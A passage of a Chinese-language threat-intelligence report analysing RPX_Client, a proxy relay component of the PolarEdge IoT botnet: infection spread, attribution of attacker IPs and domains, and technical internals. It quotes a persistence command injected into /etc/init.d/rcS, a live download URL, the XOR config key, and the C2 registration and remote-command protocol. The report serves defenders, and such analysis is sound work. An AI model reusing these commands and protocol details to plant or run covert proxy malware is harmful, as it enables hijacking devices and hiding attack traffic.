leaf="">感染设备分布在40个国家地区，主要集中在东南亚以及北美。排名前十的国家分别为：韩国41.97%，中国20.35%，泰国8.37%，马来西亚5.98%，印度3.79，以色列3.73%，美国3.69%，越南2.56%，印度尼西亚2.12%，俄罗斯1.19%。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="404" data-backw="578" data-imgfileid="100000520" data-ratio="0.6981322564361434" data-s="300,640" type="block" data-type="png" data-w="1981" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ae9f78f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkCfw5HxFA7bzItnOiaicl8icea8XribsmS0ulezOwYdzbMKntqAIjW6ZZ9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">RXP Client 在向 Server 上报信息时，通过 brand 字段来标识设备的分组或类型，ktcctv和tvt是主要被感染设备，占比超过90%。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="334" data-backw="578" data-imgfileid="100000517" data-ratio="0.5779583544946674" data-s="300,640" type="block" data-type="png" data-w="1969" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3322f9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkozyd7AACCvZZr9WysoEcRgZ6XJibib3DMibVp7hKDwC2qasl9Nm4BOaow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">第二部分：时间线 与 关联分析</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 0, 0);font-weight: bold;font-style: normal;">捕获新脚本的时间线</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-weight: bold;font-style: normal;">2025年4月27日</span>，我们监测到攻击者利用 CVE-2023-20118 通过111.119.223.196传播一个名为s的脚本，遗憾的是，当时由于网络故障这一脚本并没有被捕获。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="127" data-backw="557" data-imgfileid="100000511" data-ratio="0.2289052358286456" data-s="300,640" type="block" data-type="png" data-w="2311" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=56cd4a31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkcn1mnpdTkq3qErYq5XWuPz1RybYmpuyhlOfRTShyJIJ6Afs0oOyL4g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></li><li><p><span leaf=""><span textstyle="" style="font-weight: bold;font-style: normal;">2025年5月30日</span>，IP 111.119.223.196传播一个名为 w 的ELF文件，其下载链接为 111.119.223.196:51715/w。经查，该文件早在2023年12月25日就曾由IP 82.118.22.155传播。通过分析IP 82的历史活动，我们发现一个清晰的传播链条：<span textstyle="" style="font-weight: bold;">&#34;脚本a → w → 脚本q&#34;</span>。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="143" data-backw="557" data-imgfileid="100000521" data-ratio="0.2574074074074074" data-s="300,640" type="block" data-type="png" data-w="1080" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d4f38245&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNk0f6Fr189FTaCVukHqae8hqic5pzf4VVGqSGoMnU8HMZJweDUmceyjtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这给了我们启发：当前的IP 111可能也存在相同的链条。于是，我们展开了主动狩猎，将 &#34;111.119.223.196:51715/q&#34; 这一地址纳入了Xlab的Payload监控系统。</span></p></li><li><p><span leaf=""><span textstyle="" style="font-weight: bold;font-style: normal;">2025年6月2日</span>，成功捕获了脚本q，它为我们带来了本文的研究主角——rpx_client。值得一提的是，根据Payload监控系统的记录，IP 111并未持续提供下载服务，脚本q仅处于间歇性的可下载状态。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="192" data-backw="557" data-imgfileid="100000516" data-ratio="0.34441805225653205" data-s="300,640" type="block" data-type="png" data-w="1263" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=428d7002&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkXjIOroUgVyg5IxUfY5EpicXhtFyQ05twQtQB1g38ic5lrCxMxibUvOCMw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></li></ul><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">2.2: 归属于PolarEdge的原因</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">82.118.22.155的角色</span></span></p></li></ul><p><span leaf="">VT数据显示，IP地址 82.118.22.155 曾在2023年12月传播过一个Shell脚本a及一个ELF格式的可执行文件w，表明其很可能是一个Downloader服务器。PDNS记录进一步显示，域名 beastdositadvtofm[.]site 在同一时期曾解析至该IP。此外，该域名与Sekoia披露的C2域名 icecreand[.]cc 和 centrequ[.]cc 的CNAME记录均指向同一主机：jurgencindy.asuscomm.com。基于上述强关联，我们有信心将该域名与IP归因于PolarEdge基础设施。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="138" data-backw="578" data-imgfileid="100000510" data-ratio="0.23901673640167365" data-s="300,640" type="block" data-type="png" data-w="1912" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=64a9d73e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNk2VicWVTialXlheuZNvcxSRnxstbk9sTviaGPzXyXBlk0GAqNKOnpvQSdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">最近我们在整理PolarEdge样本时又发现石锤性的证据，该域名和IP均出现在一个PolarEdge后门样本解密后的C2配置中，所以82.118.22.155至少在2023年12期间是PolarEdge的基础设施，传播的样本a, w极有可能用于下载PolarEdge后门。样本a，w是PolarEdge背后的团伙开发，它们本身体现出的特征能够作为归因判断的依据。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="180" data-backw="578" data-imgfileid="100000503" data-ratio="0.31222707423580787" data-s="300,640" type="block" data-type="png" data-w="916" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ecfb25a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNk86EaJvOzZsSWYoxYNFzU8O0cG8woUf0smT6gnnOBkjdexM1Kuyrqhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">ELF样本相似性</span></span></p></li></ul><p><span leaf="">样本 w 新增了两个未加密的 Section：xxxx 与 cccc。相比之下，已知的 Polaredge 样本则拥有两个经过加密的 Section：init_text 和 init_rodata。尽管存在加密与否的差异，但新增区段这一行为本身，已体现出两者在设计理念上的一致性。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="226" data-backw="578" data-imgfileid="100000522" data-ratio="0.39053905390539057" data-s="300,640" type="block" data-type="png" data-w="909" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a179f01c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkChXvg49LED6uoVTeaz1tmIEIFkegevk6EuaWsOLbbOiagaF9icvL5ibuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">更重要的是，w所支持的参数字符串以及与HTTP协议相关的字段（如Host、User-Agent等）具有非常独特的特征，与PolarEdge后门样本存在明显同源关系。我们认为，w实际上是从PolarEdge后门核心代码中剥离出的Connect-back模块，其专门职能是下载后续有效载荷。这一点从w唯一支持的&#34;curk&#34;模式中得到了进一步印证——该名称很可能是&#34;curl&#34;的拼写错误（或是某种刻意致敬），这也从侧面佐证了其专门作为“下载工具”的功能定位。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="179" data-backw="578" data-imgfileid="100000523" data-ratio="0.3088934147997284" data-s="300,640" type="block" data-type="png" data-w="1473" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c2da99bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkUrzcwWxpxZ75YrtdGDkUsTq8Q7I8LBzVsuZ89Bib2OfZtm1X8a0QbHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li style="font-weight:bold;"><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">脚本相似性</span></span></p></li></ul><p><span leaf="">111.119.223.196和82.118.22.155不仅共同一个w，它们传播的脚本也高度相似，风格几乎一模一样。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="334" data-backw="578" data-imgfileid="100000524" data-ratio="0.5785123966942148" data-s="300,640" type="block" data-type="png" data-w="1815" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f491464&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNk3ljxmayFIcsGR1hg1dWRIRHiaMwclVSjibACCzrqXC4PSzWiaycia6hRkw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">综上所述，我们确认IP地址111.119.223.196是PolarEdge的资产。此次活动通过脚本q和w传播的新样本RPX_Client归属于PolarEdge，它是该威胁首次发现的的中继组件。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">第三部分：技术细节</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">脚本q的功能</span></span></p><p><span leaf="">我们一共捕获了11个不同hash值的脚本q，由于它们有使用混淆技术，因此分析上并没有难度。它们的功能几乎一模一样，核心目的为下载执行rpx组件，只是供rpx回连的C2有所差异。</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">下载wget.tar</span></span></p></li></ul><p><span leaf="">使用w下载wget.tar，注意w的参数，其中m表示模式，h是远程主机，e是端口，f是本地路径，q是远程路径。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000525" data-ratio="0.40722166499498497" data-s="300,640" type="block" data-type="png" data-w="997" src="https://wechat2rss.xlab.app/img-proxy/?k=73ed13cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkef1ZSjXyhGR4DlsFicMUxD4hz2wSnCeMlskniaJjOn9LfkUdrA80RvYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">wget.tar 压缩包内包含两个文件：rpx 和 rpx.sh。其中，rpx 是本文的分析核心，即 rpx_client；而 rpx.sh 则是一个用于持久化的脚本。通过执行 echo &#34;/bin/sh /mnt/mtd/rpx.sh &amp;&#34; &gt;&gt; /etc/init.d/rcS 命令，将 rpx.sh 注入到 rcS 初始化脚本中，从而实现了持久化驻留。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000500" data-ratio="0.1469248291571754" data-s="300,640" type="block" data-type="png" data-w="878" src="https://wechat2rss.xlab.app/img-proxy/?k=cfd4a700&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkuzMw8xSM4hTlSUCicx5pNEpFUNCC1vic4Micibx2zib6s8OicQThh7ZUP0lA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">启动rpx核心组件</span></span></p></li></ul><p><span leaf="">rpx将被侵入设备加入到ORB网络，它的第一个参数为控制节点的ip，第2个参数为端口，第3个参数为brand，可能理解成分组。我们在了11个q脚本中一共收集了10个的控制节点IP，使用的端口都是55555。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000519" data-ratio="0.25" data-s="300,640" type="block" data-type="png" data-w="868" src="https://wechat2rss.xlab.app/img-proxy/?k=6b5bc54c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkF9KznLk6hCIfcurNfILkZGg4HI8OkEIaCyhggeqDvicRNfzvWeibvJiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">剖析RPX系统</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">RPX服务器节点</span></span></p></li></ul><p><span leaf="">RPX服务器节点通常运行四个核心服务：RPX_Server、Nginx、Go-Admin与Go-Shadowsocks。在这些服务中，RPX_Server与二次开发的Go-Admin是PolarEdge的关键组件——RPX_Server作为工作节点（worker），负责实际对外提供代理服务；Go-Admin则作为管理节点（administrator），承担代理节点注册、会话验证、指令分发以及导出Clash配置供第三方使用等任务。Nginx采用反向代理模式，将19999端口的流量转发至Go-Admin服务，而Go-Shadowsocks则专门提供Shadowsocks代理服务。</span></p><p><span leaf="">这些服务的运行使服务器节点呈现出以下网络特征：</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p><span leaf="">Nginx(端口19999): 使用固定的自签名证书，其指纹为：</span></p><p><span leaf="">3f00058448b8f7e9a296d0cdf6567ceb23895345eae39d472350a27b24efe999</span></p></li><li><p><span leaf="">RPX_Server(端口55555、55557和55558): 使用固定的自签名证书，其指纹为：</span></p><p><span leaf="">e234e102cd8de90e258906d253157aeb7699a3c6df0c4e79e05d01801999dcb5</span></p></li><li><p><span leaf="">Go-Admin(端口 55560): 尽管该服务使用动态生成的自签名证书，但其证书中存在一个恒定不变的特征：颁发者与所有者字段均被设置为空值(O = null, CN = null)。</span></p></li></ol><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">RPX Server</span></span></p></li></ul><p><span leaf="">简而言之，RPX Server 是一种反向连接代理网关，核心机制在于：它本身不会直接连接到目标地址，而是调度已注册的代理节点去连接目标，并让代理节点反向连接回网关分配的一个临时端口，最终在此端口上完成客户端与目标之间流量的透明桥接。</span></p><p><span leaf="">以下通过实际测试说明其这一机制：我们在日本测试主机 45.x.x.8 上运行 RPX_Client，将其注册至 RPX Server 节点 8.216.14.9。随后在本地运行 go-shadowsocks 客户端连接至该控制节点，并通过 ipinfo.io 查看出口 IP。</span></p><p><span leaf="">尽管 go-shadowsocks 的日志显示连接路径为本地 proxy ←→ RPX Server ←→ ipinfo.io，但通过 curl --socks5 返回的实际 IP 地址可知，真实的完整路径为：<span textstyle="" style="font-weight: bold;">本地 proxy ←→ RPX Server ←→ RPX Client (45.x.x.8) ←→ ipinfo.io</span>。 在实际攻击的场景中，这种多跳能够很好的隐藏攻击源。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="186" data-backw="578" data-imgfileid="100000528" data-ratio="0.32109375" data-s="300,640" type="block" data-type="jpeg" data-w="1280" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7cb650a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkVrbiccek0TDvyXnsOJ2SlSc6Ru7SbDqczKZQvoj8O2zckQYTE6DJeiaw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">Server运行时接收两个参数：第一个是用于与 RPX_Client 交互的端口；第二个是代理服务的基础端口，基于它开启三种代理服务：SOCKS5（参数二）、SOCKS5 over TLS（参数二+1） 和 Trojan（参数二+2）。目前实际观测到的参数值分别为 55555 与 55556。关于 RPX Server 的实现细节，Censys 已有文章进行深入分析，本文不再重复，有兴趣的读者可进一步查阅其报告。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="218" data-backw="578" data-imgfileid="100000529" data-ratio="0.37700348432055747" data-s="300,640" type="block" data-type="png" data-w="1435" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d9e44593&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkicgnSia5cB5UQ1NlKnPCK5juF11UZMtedia2GDydeQiaJlmpyPFaiaVIuicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li style="font-weight:bold;"><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">RPX Client</span></span></p></li></ul><p><span leaf="">我们一共捕获了4个的RPX Client样本，其中3个来自IP地址111.119.223.196，另外1个来自VirusTotal。来自该IP的样本均为ARM架构，而VirusTotal提供的样本为MIPS架构，这表明RPX在野还存在其他传播渠道。这4个样本的版本号均为0.0.13，根据现有统计数据，该版本是目前的主要流行版本。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="326" data-backw="578" data-imgfileid="100000530" data-ratio="0.5647743813682679" data-s="300,640" type="block" data-type="png" data-w="1374" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=783a3d6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNka6lrJP4sWHe5v35ToehXxOic3BjHfeuwbsRAaVZbw6yQvG1tW3aaccw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">在4个样本中，7fa5fb15098efdf76e4c016e2e17bb38 比较特别，因为它在运行时会在控制台打印出调试信息。我们以它为主要分析对象，其基本信息如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>: <span class="code-snippet__number">7</span>fa5fb15098efdf76e4c016e2e17bb38</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">MAGIC</span>: ELF <span class="code-snippet__number">32</span>-bit LSB executable, ARM, version <span class="code-snippet__number">1</span> (SYSV), statically linked, stripped</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">PACKER</span>: None</span></code><br/></pre></p><p><span leaf="">RPX_CLIENT在PolarEdge网络中充当jumpserver的角色，这一点可从样本中暴露的源码文件名，运行时的日志得到验证。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="77" data-backw="578" data-imgfileid="100000531" data-ratio="0.13343799058084774" data-s="300,640" type="block" data-type="png" data-w="1274" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=386c5198&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkYbufg6GogzHnlvE2EV4MQHXQedbMhQ6CLJrf5yvB3jm2mQd3KJvM7Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">它的功能设计较为简明，在侵入目标设备后，该程序首先将自身进程名称伪装为 connect_server，同时通过 PID 文件 /tmp/.msc 实现单实例运行，避免重复启动。随后，它会尝试读取全局配置文件 .fccq，从中获取 C2 服务器地址、通信端口、设备 UUID 及品牌信息等关键参数。若配置文件不存在，则会将运行时传入的参数加密保存至 .fccq 文件中以供后续使用。</span></p><p><span leaf="">完成配置初始化后，RPX_Client会与C2服务器建立两个独立的网络连接，以执行不同任务：一个连接至PORT参数指定的端口，该端口由RPX_SERVER服务监听，专门负责节点注册，流量代理；另一个则连接至固定端口55560，该端口由go-admin服务监听，专门用于执行远程命令。</span></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">解密配置文件</span></span></p><p><span leaf="">RPX_CLIENT首次运行时，会将参数加密保存在同目录的.fccq文件中，加密方式为单字节异或0x25。实际产生的配置文件为例，解密后的内容分别为UUID，C2，PORT，BRAND，version。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="125" data-backw="578" data-imgfileid="100000514" data-ratio="0.21695629278567669" data-s="300,640" type="block" data-type="png" data-w="1899" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a393132a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkzXMdSWz50yIiaeKN8U0lWcd7PiboORsZ1vOI8cvlibDibfnJK2AYFN4mLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">端口参数1(当前在野均使用55555)的任务</span></span></p><p><span leaf="">RPX_CLENT首次加入到网络中时，首先需要获得由服务器生成的uuid作为身份标识，网络交互逻辑如下：</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p><span leaf="">Bot -&gt; C2，33字节，结构为flag(1byte) + uuid(32 bytes)</span></p></li><li><p><span leaf="">Bot -&gt; C2，32字节，结构为brand(16 bytes) + version(16 bytes)</span></p></li><li><p><span leaf="">C2 -&gt; Bot，33字节，结构为flag(1 byte) + uuid(32 bytes)</span></p></li></ol><p><span leaf="">当C2向Bot回包中的flag值为0x01时，表示收到uuid，bot将此uuid保存到配置文件中供后续使用。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="369" data-backw="578" data-imgfileid="100000533" data-ratio="0.6389124893797791" data-s="300,640" type="block" data-type="png" data-w="1177" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7395e525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkBerwwRxIia8NHVCk1ibaSBx1oRgtDOT46ysyibTodcvC49WxoTE9eicjlg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">随后继续接收C2下发的指令，准备提供代理服务。以下为指令的对应的结构体，实际使用时destation的长度由dest_length字段指定。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cpp"><code><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">Protocal</span></span></code><br/><code><span leaf="">{</span></code><br/><code><span leaf="">  <span class="code-snippet__type">uint16_t</span> magic;</span></code><br/><code><span leaf="">  <span class="code-snippet__type">uint16_t</span> port;</span></code><br/><code><span leaf="">  <span class="code-snippet__type">uint16_t</span> dst_port;</span></code><br/><code><span leaf="">  <span class="code-snippet__type">uint16_t</span> dest_length;</span></code><br/><code><span leaf="">  <span class="code-snippet__type">char</span> destination[<span class="code-snippet__number">256</span>];</span></code><br/><code><span leaf="">};</span></code><br/></pre></p><p><span leaf="">Magic字段指定了Bot的功能，它的值可以为0x11,0x12,0x16。我们在Xlab指令跟踪系统中实现了对该协议的模拟，从统计数据来看，暂时并没有特别的目标，流量大多为对qq,wechat,google,cloudflare的访问。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="172" data-backw="578" data-imgfileid="100000534" data-ratio="0.296908315565032" data-s="300,640" type="block" data-type="png" data-w="1876" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4043239&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkqhmTYYhGBogRGMLEKIibvjjJuEgibjq7iaNcJhEq1Lv9OFKos6Qv0OPyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">端口 55560的任务</span></span></p><p><span leaf="">RPX_CLIENT连接到服务器的55560端口，发送uuid表明身份，接收需要执行的远程命令，网络交互逻辑如下：</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p><span leaf="">Bot -&gt; C2，11字节，固定为“xa2axasexqx”</span></p></li><li><p><span leaf="">Bot -&gt; C2，32字节，uuid</span></p></li><li><p><span leaf="">C2 -&gt; Bot，4字节，命令报文长度</span></p></li><li><p><span leaf="">C2 -&gt; Bot，命令报文，具体命令由&#34;cmd&#34;字段指定</span></p></li></ol><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="129" data-backw="578" data-imgfileid="100000535" data-ratio="0.22232916265640038" data-s="300,640" type="block" data-type="png" data-w="1039" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b79a9f90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkEgbYJbe1icEbVBiaQoja1Cia6nZAfaJicNpTlVulEZib0EJZRPE0RpMKhhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">除系统命令外，该样本还内置了两项特殊指令：change_pub_ip 与 update_vps，分别用于更换C2服务器地址及完成样本自我升级。基于UUID的身份识别机制，结合远程命令执行能力，PolarEdge背后的攻击者能够对代理节点进行高度精细的控制与灵活调度——既可随时指派节点执行其他任务或切换职能，也可在某一C2地址暴露时，迅速将代理池中节点迁移至新地址。</span></p><p><span leaf="">尽管当前我们的指令跟踪系统仅捕获到如echo hello一类用于维持心跳的简单指令，但在所掌握的RPX服务器日志中，明确存在change_pub_ip命令的实际执行记录。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="164" data-backw="578" data-imgfileid="100000506" data-ratio="0.283471837488458" data-s="300,640" type="block" data-type="png" data-w="1083" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=491b6694&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkJm8TwbZKDRkIKOd3xlrLCZxMxkRoBEpiafpHeyaqGhSPju6cuibvj1sg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">另外服务器日志中还有与111.119.223.196相关的命令，显示它不仅充当了下载服务器，还作为反弹Shell的接收端，直接实锤了该IP是PolarEdge资产，也验证了我们在文章开头对该IP的研判。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="158" data-backw="578" data-imgfileid="100000512" data-ratio="0.27253778009379886" data-s="300,640" type="block" data-type="png" data-w="1919" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=443812cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiafDh42kDjL83z6NibX1BeNkbDib3WbOiaBQ3SF0ib9fy0tZzqN9rwPPXYNXFkE5S84La0d3vYF1PIunA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">总结</span></span></p><p><span leaf="">至此，我们对RPX系统的分析暂告一段落，以上是目前所掌握的主要发现。RPX_Client让我们得以一窥PolarEdge的中继机制；而RPX_Server与Go-ADMIN则首次揭示出这一威胁体背后的管理工具与基础设施。<span textstyle="" style="font-weight: bold;">在这种架构下，由海量受侵IoT设备构成的代理节点，与由廉价VPS搭建的服务器节点遥相呼应，如同两道坚固的壁垒，为攻击者提供了有效的掩护，极大地增加了安全人员的追踪难度</span>。</span></p><p><span leaf="">由于视野有限，PolarEdge威胁版图中后门样本与RPX系统之间的具体关联与互动方式，目前仍是未解之谜。我们诚挚欢迎掌握更多相关信息的业界同仁不吝分享，共同推进对这类威胁的认知与防御能力。</span></p><p><span leaf="">如果您对我们的研究感兴趣，或了解与PolarEdge相关的线索，欢迎通过微信公众号留言与我们联系。</span></p><p><span leaf="">关心IOC的读者，可点击下文的<span textstyle="" style="font-size: 24px;font-weight: bold;">阅读原文</span>，</span><span leaf="">移步至XLAB官方博客原文的IOC章节以获取更多内容。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/the-smoking-gun-exposing-the-rpx-relay-at-the-heart-of-polaredge/">阅读原文</a></p>
